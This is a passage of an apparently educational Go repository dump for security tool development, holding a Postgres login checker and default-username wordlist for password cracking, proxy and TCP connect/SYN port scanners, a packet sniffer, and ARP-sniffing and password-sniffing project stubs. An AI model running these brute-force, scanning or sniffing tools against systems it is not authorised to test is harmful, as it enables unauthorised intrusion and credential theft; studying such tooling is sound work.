17 | db, err := sql.Open("postgres", dataSourceName) 18 | 19 | if err == nil { 20 | defer func() { 21 | err = db.Close() 22 | }() 23 | err = db.Ping() 24 | if err == nil { 25 | result.Result = true 26 | } 27 | } 28 | 29 | return result, err 30 | } 31 | -------------------------------------------------------------------------------- /scanner/password_crack/user.dic: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | test 4 | guest 5 | info 6 | adm 7 | mysql 8 | user 9 | administrator 10 | oracle 11 | ftp 12 | sa 13 | ubuntu 14 | -------------------------------------------------------------------------------- /scanner/password_crack/util/hash/hash.go: -------------------------------------------------------------------------------- 1 | package hash 2 | 3 | import "sec-dev-in-action-src/scanner/password_crack/vars" 4 | 5 | func MakeTaskHash(k string) string { 6 | hash := MD5(k) 7 | return hash 8 | } 9 | 10 | func CheckTaskHash(hash string) bool { 11 | _, ok := vars.SuccessHash.Load(hash) 12 | return ok 13 | } 14 | 15 | func SetTaskHash(hash string) () { 16 | vars.SuccessHash.Store(hash, true) 17 | } 18 | -------------------------------------------------------------------------------- /scanner/password_crack/util/hash/md5.go: -------------------------------------------------------------------------------- 1 | package hash 2 | 3 | import ( 4 | "crypto/md5" 5 | "fmt" 6 | "io" 7 | ) 8 | 9 | // md5 function 10 | func MD5(s string) (m string) { 11 | h := md5.New() 12 | _, _ = io.WriteString(h, s) 13 | return fmt.Sprintf("%x", h.Sum(nil)) 14 | } 15 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/proxy-scanner.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/proxy-scanner 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/mattn/go-colorable v0.1.6 // indirect 7 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 8 | github.com/onsi/ginkgo v1.12.0 // indirect 9 | github.com/onsi/gomega v1.10.0 // indirect 10 | github.com/sirupsen/logrus v1.6.0 11 | github.com/urfave/cli v1.22.4 12 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 13 | golang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37 // indirect 14 | h12.io/socks v1.0.0 15 | ) 16 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "runtime" 6 | 7 | "github.com/urfave/cli" 8 | 9 | "sec-dev-in-action-src/scanner/proxy-scanner/cmd" 10 | ) 11 | 12 | func init() { 13 | runtime.GOMAXPROCS(runtime.NumCPU()) 14 | } 15 | 16 | func main() { 17 | app := cli.NewApp() 18 | app.Name = "proxy scanner" 19 | app.Author = "netxfly" 20 | app.Email = "x@xsec.io" 21 | app.Version = "2020/5/15" 22 | app.Usage = "A SOCKS4/SOCKS4a/SOCKS5/HTTP/HTTPS proxy scanner" 23 | app.Commands = []cli.Command{cmd.Scan} 24 | app.Flags = append(app.Flags, cmd.Scan.Flags...) 25 | _ = app.Run(os.Args) 26 | } 27 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/models/models.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import ( 4 | "fmt" 5 | "sync" 6 | ) 7 | 8 | type ProxyInfo struct { 9 | Addr string 10 | Port int 11 | Protocol string 12 | } 13 | 14 | var ( 15 | Result sync.Map 16 | ) 17 | 18 | func SaveProxies(isProxy bool, proxyInfo ProxyInfo, err error) error { 19 | if err == nil && isProxy { 20 | k := fmt.Sprintf("%v://%v:%v", proxyInfo.Protocol, proxyInfo.Addr, proxyInfo.Port) 21 | Result.Store(k, true) 22 | } 23 | 24 | return err 25 | } 26 | 27 | func PrintResult() { 28 | Result.Range(func(key, value interface{}) bool { 29 | fmt.Printf("%v\n", key) 30 | return true 31 | }) 32 | } 33 | -------------------------------------------------------------------------------- /scanner/proxy-scanner/util/log.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "github.com/sirupsen/logrus" 5 | "github.com/x-cray/logrus-prefixed-formatter" 6 | ) 7 | 8 | var ( 9 | Log *logrus.Entry 10 | ) 11 | 12 | func init() { 13 | logger := logrus.New() 14 | logger.Formatter = new(prefixed.TextFormatter) 15 | logger.Level = logrus.DebugLevel 16 | Log = logger.WithFields(logrus.Fields{"prefix": "xsec proxy scanner"}) 17 | } 18 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/tcp-connect-scanner-demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-connect-scanner-demo 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/malfunkt/iprange v0.9.0 7 | github.com/pkg/errors v0.8.1 // indirect 8 | github.com/stretchr/testify v1.4.0 // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner-demo/scanner/tcp-scanner.go: -------------------------------------------------------------------------------- 1 | package scanner 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | ) 8 | 9 | func Connect(ip string, port int) (net.Conn, error) { 10 | 11 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 1*time.Second) 12 | 13 | defer func() { 14 | if conn != nil { 15 | _ = conn.Close() 16 | } 17 | }() 18 | 19 | return conn, err 20 | } 21 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/tcp-connect-scanner1.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-connect-scanner1 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/malfunkt/iprange v0.9.0 7 | github.com/pkg/errors v0.8.1 // indirect 8 | github.com/stretchr/testify v1.4.0 // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "runtime" 7 | 8 | "sec-dev-in-action-src/scanner/tcp-connect-scanner1/scanner" 9 | "sec-dev-in-action-src/scanner/tcp-connect-scanner1/util" 10 | ) 11 | 12 | func main() { 13 | if len(os.Args) == 3 { 14 | ipList := os.Args[1] 15 | portList := os.Args[2] 16 | ips, err := util.GetIpList(ipList) 17 | ports, err := util.GetPorts(portList) 18 | _ = err 19 | 20 | task, _ := scanner.GenerateTask(ips, ports) 21 | scanner.AssigningTasks(task) 22 | scanner.PrintResult() 23 | 24 | } else { 25 | fmt.Printf("%v iplist port\n", os.Args[0]) 26 | } 27 | } 28 | 29 | func init() { 30 | runtime.GOMAXPROCS(runtime.NumCPU()) 31 | } 32 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/scanner/tcp-scanner.go: -------------------------------------------------------------------------------- 1 | package scanner 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | ) 8 | 9 | func Connect(ip string, port int) (string, int, error) { 10 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 2*time.Second) 11 | 12 | defer func() { 13 | if conn != nil { 14 | _ = conn.Close() 15 | } 16 | }() 17 | 18 | return ip, port, err 19 | } 20 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner1/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import "sync" 4 | 5 | var ( 6 | ThreadNum = 5000 7 | Result *sync.Map 8 | ) 9 | 10 | func init() { 11 | Result = &sync.Map{} 12 | } 13 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/tcp-connect-scanner1.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-connect-scanner2 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/malfunkt/iprange v0.9.0 7 | github.com/pkg/errors v0.8.1 // indirect 8 | github.com/stretchr/testify v1.4.0 // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "runtime" 7 | 8 | "sec-dev-in-action-src/scanner/tcp-connect-scanner2/scanner" 9 | "sec-dev-in-action-src/scanner/tcp-connect-scanner2/util" 10 | ) 11 | 12 | func main() { 13 | if len(os.Args) == 3 { 14 | ipList := os.Args[1] 15 | portList := os.Args[2] 16 | 17 | ips, err := util.GetIpList(ipList) 18 | ports, err := util.GetPorts(portList) 19 | _ = err 20 | 21 | tasks, _ := scanner.GenerateTask(ips, ports) 22 | scanner.RunTask(tasks) 23 | scanner.PrintResult() 24 | } else { 25 | fmt.Printf("%v iplist port\n", os.Args[0]) 26 | } 27 | } 28 | 29 | func init() { 30 | runtime.GOMAXPROCS(runtime.NumCPU()) 31 | } 32 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/scanner/tcp-scanner.go: -------------------------------------------------------------------------------- 1 | package scanner 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | ) 8 | 9 | func Connect(ip string, port int) (string, int, error) { 10 | 11 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 2*time.Second) 12 | 13 | defer func() { 14 | if conn != nil { 15 | _ = conn.Close() 16 | } 17 | }() 18 | 19 | return ip, port, err 20 | } 21 | -------------------------------------------------------------------------------- /scanner/tcp-connect-scanner2/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import "sync" 4 | 5 | var ( 6 | ThreadNum = 5000 7 | Result *sync.Map 8 | ) 9 | 10 | func init() { 11 | Result = &sync.Map{} 12 | } 13 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/tcp-connect-scanner1.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-scanner-final 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/malfunkt/iprange v0.9.0 8 | github.com/pkg/errors v0.9.1 // indirect 9 | github.com/stretchr/testify v1.5.1 // indirect 10 | github.com/urfave/cli v1.22.2 11 | ) 12 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | "runtime" 6 | 7 | "github.com/urfave/cli" 8 | 9 | "sec-dev-in-action-src/scanner/tcp-scanner-final/cmd" 10 | ) 11 | 12 | func main() { 13 | app := cli.NewApp() 14 | app.Name = "port_scanner" 15 | app.Author = "netxfly" 16 | app.Email = "x@xsec.io" 17 | app.Version = "2020/3/8" 18 | app.Usage = "tcp syn/connect port scanner" 19 | app.Commands = []cli.Command{cmd.Scan} 20 | app.Flags = append(app.Flags, cmd.Scan.Flags...) 21 | err := app.Run(os.Args) 22 | _ = err 23 | } 24 | 25 | func init() { 26 | runtime.GOMAXPROCS(runtime.NumCPU()) 27 | } 28 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/scanner/connect.go: -------------------------------------------------------------------------------- 1 | package scanner 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | 8 | "sec-dev-in-action-src/scanner/tcp-scanner-final/vars" 9 | ) 10 | 11 | func Connect(ip string, port int) (string, int, error) { 12 | 13 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), time.Duration(vars.Timeout)*time.Second) 14 | 15 | defer func() { 16 | if conn != nil { 17 | _ = conn.Close() 18 | } 19 | }() 20 | 21 | return ip, port, err 22 | } 23 | -------------------------------------------------------------------------------- /scanner/tcp-scanner-final/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import "sync" 4 | 5 | var ( 6 | ThreadNum = 5000 7 | Result *sync.Map 8 | 9 | Host string 10 | Port = "22,23,53,80-139" 11 | Mode = "syn" 12 | Timeout = 2 13 | ) 14 | 15 | func init() { 16 | Result = &sync.Map{} 17 | } 18 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/synscan.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scan-demo/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-syn-scan-demo 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/malfunkt/iprange v0.9.0 8 | github.com/pkg/errors v0.8.1 // indirect 9 | github.com/stretchr/testify v1.4.0 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/tcp-connect-scanner1.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/cmd/cmd.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/scanner/tcp-syn-scanner 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/malfunkt/iprange v0.9.0 8 | github.com/pkg/errors v0.8.1 // indirect 9 | github.com/stretchr/testify v1.4.0 // indirect 10 | ) 11 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "runtime" 7 | 8 | "sec-dev-in-action-src/scanner/tcp-syn-scanner/scanner" 9 | "sec-dev-in-action-src/scanner/tcp-syn-scanner/util" 10 | ) 11 | 12 | func main() { 13 | if len(os.Args) == 3 { 14 | util.CheckRoot() 15 | 16 | ipList := os.Args[1] 17 | portList := os.Args[2] 18 | ips, err := util.GetIpList(ipList) 19 | ports, err := util.GetPorts(portList) 20 | _ = err 21 | tasks, _ := scanner.GenerateTask(ips, ports) 22 | scanner.RunTask(tasks) 23 | scanner.PrintResult() 24 | } else { 25 | fmt.Printf("%v iplist port\n", os.Args[0]) 26 | } 27 | } 28 | 29 | func init() { 30 | runtime.GOMAXPROCS(runtime.NumCPU()) 31 | } 32 | -------------------------------------------------------------------------------- /scanner/tcp-syn-scanner/vars/vars.go: -------------------------------------------------------------------------------- 1 | package vars 2 | 3 | import "sync" 4 | 5 | var ( 6 | ThreadNum = 5000 7 | Result *sync.Map 8 | ) 9 | 10 | func init() { 11 | Result = &sync.Map{} 12 | } 13 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/arp_sniff_demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/sniffer/arp_sniff_demo 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/google/gopacket v1.1.17 7 | github.com/malfunkt/arpfox v0.9.9 8 | github.com/malfunkt/iprange v0.9.0 9 | github.com/mattn/go-colorable v0.1.6 // indirect 10 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 11 | github.com/onsi/ginkgo v1.12.1 // indirect 12 | github.com/onsi/gomega v1.10.0 // indirect 13 | github.com/sirupsen/logrus v1.6.0 14 | github.com/x-cray/logrus-prefixed-formatter v0.5.2 15 | ) 16 | -------------------------------------------------------------------------------- /sniffer/arp_sniff_demo/logger/log.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "github.com/sirupsen/logrus" 5 | "github.com/x-cray/logrus-prefixed-formatter" 6 | ) 7 | 8 | var ( 9 | Log *logrus.Entry 10 | ) 11 | 12 | func init() { 13 | logger := logrus.New() 14 | logger.Formatter = new(prefixed.TextFormatter) 15 | logger.Level = logrus.InfoLevel 16 | Log = logger.WithFields(logrus.Fields{"prefix": "arp sniff demo"}) 17 | } 18 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/decode_layers.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/decode_layers/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/demo.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/demo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/demo/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "time" 7 | 8 | "github.com/google/gopacket" 9 | "github.com/google/gopacket/pcap" 10 | ) 11 | 12 | var ( 13 | device = "en0" 14 | snapshotLength int32 = 1024 15 | promiscuous = false 16 | timeout = 30 * time.Second 17 | 18 | handle *pcap.Handle 19 | err error 20 | ) 21 | 22 | func main() { 23 | handle, err = pcap.OpenLive(device, snapshotLength, promiscuous, timeout) 24 | if err != nil { 25 | log.Fatal(err) 26 | } 27 | defer handle.Close() 28 | 29 | packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) 30 | for packet := range packetSource.Packets() { 31 | fmt.Println(packet.Dump()) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/send_arp.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/send_arp/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/sniff_password.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /sniffer/sniff_password/.idea/vcs.xml: 